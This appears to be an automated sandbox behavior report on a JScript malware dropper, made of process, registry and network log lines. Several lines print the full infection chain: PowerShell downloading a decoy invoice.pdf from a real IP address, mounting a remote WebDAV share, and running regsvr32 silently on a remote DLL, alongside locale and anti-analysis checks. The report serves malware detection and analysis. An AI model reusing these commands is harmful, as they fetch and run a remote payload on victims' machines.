Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2793.js.csv");ITextStream.WriteLine(" entry:8268 f:gptdbkmq");ITextStream.WriteLine(" exec:2 f:gptdbkmq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49743

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3933			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5580			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1240	Thread sleep count: 3933 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1240	Thread sleep count: 5580 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5980	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6668	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1472	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6052	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7156	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1708	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1360064411.000001CE42F48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP)
Source: net.exe, 00000007.00000002.1360064411.000001CE42FAC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2588366754.000002281362B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2589291587.0000022818C54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
